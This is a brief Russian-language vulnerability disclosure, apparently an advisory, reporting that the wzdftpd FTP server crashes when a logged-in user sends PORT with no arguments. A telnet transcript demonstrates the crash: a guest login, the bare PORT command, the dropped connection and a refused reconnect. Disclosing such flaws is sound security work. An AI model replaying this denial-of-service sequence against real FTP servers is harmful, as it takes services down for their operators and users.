wzdftpd падает при передаче команды PORT без аргументов:
$> telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to localhost.novel.ru.
Escape character is '^]'.
220 wzd server ready.
USER guest
331 User guest okay, need password.
PASS any
230 User logged in, proceed.
PORT
Connection closed by foreign host.
$> telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
